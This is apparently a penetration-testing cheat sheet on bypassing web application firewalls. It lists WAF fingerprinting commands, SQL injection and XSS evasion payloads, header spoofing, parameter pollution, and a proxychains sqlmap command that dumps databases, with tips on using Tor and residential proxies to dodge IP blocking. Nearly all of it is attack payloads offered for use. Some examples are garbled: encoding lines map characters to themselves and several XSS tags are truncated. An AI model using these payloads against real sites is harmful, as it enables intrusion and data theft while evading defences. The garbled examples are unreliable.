sunilgentyala WAF Bypass Techniques
Phase 1 — WAF Identification
wafw00f https://target.com
nmap --script http-waf-detect,http-waf-fingerprint target.com
Common WAFs: Cloudflare, AWS WAF, ModSecurity, Imperva, Akamai, Sucuri, F5 ASM.
Encoding Bypasses
URL encoding: SELECT → %53%45%4c%45%43%54
Double URL encoding: SELECT → %2553%2545%254c%2545%2543%2554
Unicode encoding: SELECT → SELECT
HTML entities: < → < or <
Base64 (in JSON): inject base64 and decode server-side
SQL Injection WAF Bypass
-- Comment insertion
SE/**/LECT
UN/**/ION
-- Case variation
sElEcT uNiOn
-- Inline version comments (MySQL)
/*!UNION*/ /*!SELECT*/
-- Whitespace alternatives
%09 (tab), %0a (newline), %0d (carriage return), %0b, %0c
-- Keyword alternatives
AND → &&
OR → ||
= → LIKE, REGEXP, IN
-- Encoding + padding
1/**/UNION/**/SELECT/**/NULL,NULL,NULL--+
XSS WAF Bypass
<!-- Tag alternatives -->
<sVg
<img src=x
<details open
<audio src=x
<!-- Event handler alternatives when onclick blocked -->
onfocus autofocus
onanimationstart + CSS animation
onpointerdown
<!-- JavaScript alternatives when "javascript:" blocked -->
data:text/html,<script>alert(1)</script>
vbscript:alert(1) (IE only)
<!-- Encoding -->
<img src=x
HTTP-Level Bypasses
# Chunked Transfer-Encoding (splits payload across chunks)
# Use Burp plugin "chunked-coding-converter"
# HTTP Parameter Pollution
?id=1&id=1 UNION SELECT 1,2,3--
# Large body padding (push payload past WAF inspection limit)
# Add thousands of harmless parameters before the payload
# Case-insensitive header manipulation
X-Forwarded-For: 127.0.0.1 (some WAFs trust XFF)
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
IP Reputation Bypass
# Route through residential proxies / rotating exit nodes
proxychains4 sqlmap -u "http://target.com/?id=1" --dbs
# Use Tor exit nodes that aren't blacklisted
# Cloud provider IPs are often less suspicious than VPS/datacenter
Tools
- WAFW00F — WAF fingerprinting
- WAF Bypass Tool — automated bypass testing
- Burp Suite — chunked encoding plugin, manual bypass
- SQLMap Tamper Scripts —
--tamper=space2comment,randomcase